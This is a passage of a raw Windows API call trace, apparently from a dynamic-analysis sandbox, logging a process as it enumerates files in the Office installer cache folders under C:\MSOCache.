ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0043.440] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0043.440] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0043.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedbe90 [0043.440] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedbe90, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xedbe90, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0043.440] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedbe90) returned 1 [0043.440] NtClose (Handle=0x174) returned 0x0 [0043.440] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0043.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4a78 [0043.441] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4b80 [0043.441] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c78 [0043.477] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.477] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="")) returned 1 [0043.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.477] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.477] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4c88 [0043.477] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0043.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb708 [0043.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedad58 [0043.478] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.478] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="")) returned 1 [0043.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.478] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.478] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb728 [0043.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedae60 [0043.478] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.478] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0043.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.478] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.478] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb748 [0043.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedaf68 [0043.478] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.478] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0043.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.478] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.478] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb768 [0043.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedb070 [0043.478] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.478] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0043.478] GetLastError () returned 0x12 [0043.478] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459b78 [0043.479] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0043.479] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.479] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="")) returned 1 [0043.479] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="")) returned 1 [0043.479] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0043.479] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0043.479] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0043.479] GetLastError () returned 0x12 [0043.479] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4b80) returned 1 [0043.479] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0043.480] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4c88) returned 1 [0043.480] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a78) returned 1 [0043.480] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0043.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.480] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0043.484] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0043.484] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0043.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedbe90 [0043.484] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedbe90, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xedbe90, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0043.484] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedbe90) returned 1 [0043.484] NtClose (Handle=0x16c) returned 0x0 [0043.484] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0043.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4a78 [0043.484] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4c88 [0043.484] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459b78 [0043.488] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.488] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="")) returned 1 [0043.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.488] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.488] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4b80 [0043.488] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0043.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb788 [0043.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedb178 [0043.488] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.488] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="")) returned 1 [0043.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.488] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.488] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb7a8 [0043.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedb280 [0043.488] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.488] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0043.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.488] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb7c8 [0043.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedb388 [0043.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.489] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0043.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb7e8 [0043.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedb490 [0043.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.489] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0043.489] GetLastError () returned 0x12 [0043.489] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c78 [0043.489] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0043.489] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.490] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="")) returned 1 [0043.490] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="")) returned 1 [0043.490] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0043.490] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0043.490] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0043.490] GetLastError () returned 0x12 [0043.490] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4c88) returned 1 